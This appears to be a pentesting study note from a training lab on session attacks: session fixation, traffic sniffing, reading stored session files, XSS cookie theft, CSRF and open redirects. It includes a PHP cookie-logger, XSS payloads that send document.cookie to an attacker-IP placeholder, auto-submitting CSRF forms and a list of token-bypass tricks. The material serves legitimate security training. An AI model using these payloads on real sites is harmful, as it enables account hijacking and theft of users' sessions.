In session hijacking attacks, the attacker takes advantage of insecure session identifiers, finds a way to obtain them, and uses them to authenticate to the server and impersonate the victim.
An attacker can obtain a victim's session identifier using several methods, with the most common being:
Session Fixation occurs when an attacker can fixate a (valid) session identifier. As you can imagine, the attacker will then have to trick the victim into logging into the application using the aforementioned session identifier. If the victim does so, the attacker can proceed to a Session Hijacking attack (since the session identifier is already known).
Such bugs usually occur when session identifiers (such as cookies) are being accepted from URL Query Strings or Post Data. If, for example, a session-related parameter is included in the URL (and not on the cookie header) and any specified value eventually becomes a session identifier, then the attacker can fixate a session.
Session Fixation attacks are usually mounted in three stages:
End of URL is token. If I change end of url, I get different Cookie:
(This assumes this kind of code:)
<?php
if (!isset($_GET["token"])) {
session_start();
header("Location: /?redirect_uri=/complete.html&token=" . session_id());
} else {
setcookie("PHPSESSID", $_GET["token"]);
}
?>
If we're in the same network as our victim, we could try sniffing the traffic to obtain their session identifiers in the first place.
Especially if the identifier is sent via url query params or the connection is note encrypted (but who doesn't use https in 2024?)
Filter for http
then go to Edit -> Find Packet
Select String and "Packet bytes", search for cookie name:
During the post-exploitation phase, session identifiers and session data can be retrieved from either a web server's disk or memory. Of course, an attacker who has compromised a web server can do more than obtain session data and session identifiers. That said, an attacker may not want to continue issuing commands that increase the chances of getting caught.
If you happen to have hacked the webserver, you can easily locate saved session ids as well:
locate php.ini
cat /etc/php/7.4/cli/php.ini | grep 'session.save_path'
cat /etc/php/7.4/apache2/php.ini | grep 'session.save_path'
This will return the files were the sessions are stored (default is /var/lib/php/sessions
).
Session Files are usually stored as sess_<sessionID>
.
show databases;
use project;
show tables;
select * from users;
Sometimes Sessions are stored in db (user table, session table, etc...)
For more information on XSS in general look at TBD
. This section focuses on XSS in relation to Session Security.
More infos on XSS can be found here.
"><img src=x onerror=prompt(document.domain)>
"><img src=x onerror=confirm(1)>
"><img src=x onerror=alert(1)>
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);
header("Location: http://www.google.com/");
exit;
?>
and fetch cookie with:
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://<VPN/TUN Adapter IP>:8000/log.php?c=' + document.cookie;"></video>
Note: If you're doing testing in the real world, try using something like XSSHunter, Burp Collaborator or Project Interactsh. A default PHP Server or Netcat may not send data in the correct form when the target web application utilizes HTTPS.
A sample HTTPS>HTTPS payload example can be found below:
<h1 onmouseover='document.write(`<img src="https://CUSTOMLINK?cookie=${btoa(document.cookie)}">`)'>test</h1>
We don't necessarily have to use the window.location()
object that causes victims to get redirected. We can use fetch()
, which can fetch data (cookies) and send it to our server without any redirects. This is a stealthier way.
<script>fetch(`http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}`)</script>
More infos on CSRF can be found here.
A webapp is vulnerable to csrf if:
To exploit we (or an attacker) have to:
Let's say we have the following request (see the lack of csrf token):
POST /api/update-profile HTTP/1.1
Host: xss.htb.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://xss.htb.net/app/
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://xss.htb.net
DNT: 1
Connection: close
Cookie: auth-session=s%3AKI4-IGqHJU_doixGuCXRG3okS-sEu2-c.BbnDxlhdXyDQnSqgOJY3CWri4fWukYxUgF4mSrGM1uA
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
email=ela.stienen%40example.com&telephone=%28402%29-455-9682&country=France
Host a malicous website with the following form:
<html>
<body>
<form id="submitMe" action="http://xss.htb.net/api/update-profile" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="telephone" value="(227)-750-8112" />
<input type="hidden" name="country" value="CSRF_POC" />
<input type="submit" value="Submit request" />
</form>
<script>
document.getElementById("submitMe").submit()
</script>
</body>
</html>
host webserver with malicious website:
python -m http.server 1337
Then target/victim needs to connect to http://<your-ip>:1337/malicious.html
And the details would be updated:
Let's say we have the following request:
GET /app/save/[email protected]?telephone=%28834%29-609-2003&country=United+States&csrf=f2338ae28cc559666f3064b5243fd2404b0218c6&email=julie.rogers%40example.com&action=save HTTP/1.1
Host: csrf.htb.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://csrf.htb.net/app/save/[email protected]
DNT: 1
Connection: close
Cookie: auth-session=s%3AxMve8rQy7XxoPBfq3HUQO89Rfum7Q4iN.DSyz2Kn1iAnx9jDGuwqwu5Y1Oy3RnWjA7SIph3EDuSU
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
As you can see it is a GET
Request and using a csrf
param. We will just reuse this token in our attack:
<html>
<body>
<form id="submitMe" action="http://csrf.htb.net/app/save/[email protected]" method="GET">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="telephone" value="(227)-750-8112" />
<input type="hidden" name="country" value="CSRF_POC" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="csrf" value="30e7912d04c957022a6d3072be8ef67e52eda8f2" />
<input type="submit" value="Submit request" />
</form>
<script>
document.getElementById("submitMe").submit()
</script>
</body>
</html>
host it, tick victim to open it and we get the same result (change of values in profile).
To get the csrf-token here, just host a webserver and try to exploit an XSS/Injection attack to fetch/send data to our server (incl. token)
A request through XSS will bypass any same origin/same site protection since it will derive from the same domain!
- academy.hackthebox.com
md5(username)
we could verify check that by logging in and seeing our csrf tokens)Check for the following and similar "token generation algorithms":
md5(username)
sha1(username)
md5(current date + username)
This can be done with a simple bash command:
echo -n <username> | md5sum
etc...
A little overview of protection bypasses
Type | Explanation | Example |
---|---|---|
Null Value | Just leave the token Empty, Sometimes Server just checks for the headers | CSRF-Token: |
Random CSRF Token | Recreate a fake token with random values | Real:CSRF-Token: 9cfffd9e8e78bd68975e295d1b3d3331 Fake: CSRF-Token: 9cfffl3dj3837dfkj3j387fjcxmfjfd3 |
Use another Session's CSRF Token | Create multiple accounts and try the csrf token of Account A for a Request of Account B | - |
Request Method Tampering | Change the request type from. GET to POST |
Originalhttp<br>POST /change_password<br>POST body:<br>new_password=pwned&confirm_new=pwned<br> Fake http<br>GET /change_password?new_password=pwned&confirm_new=pwned<br> |
Delete token | Just remove the token in general. Do not send token (it may work) | |
Session Fixation | If website keeps anti-csrf token in cookie and params, it probably isn't keeping the token on the server so just fix your token | http<br>POST /change_password<br>Cookie: CSRF-Token=fixed_token;<br>POST body:<br>new_password=pwned&CSRF-Token=fixed_token<br> |
Regex Bypass | You can try to bypass Regex checks for website whitelists etc... | www.google.com.pwned.zanidd.xyz or something like that |
An Open Redirect vulnerability abuses an already existing redirection mechanism of a website. For example:
$red = $_GET['url'];
header("Location: " . $red);
This code has no validation on the user supplied value (or value passed by some GET request) for the param url
.
Here an attacker could pass in their url to redirect to like so: https://trusted.site/index.php?url=https://hackerman.com
(the important part is the url after the param url
).
Here you can find an example to an Open Redirect in Microsoft's Defender for Cloud Apps.
PHP:
session_regenerate_id(bool $delete_old_session = false): bool
Java:
...
session.invalidate();
session = request.getSession(true);
...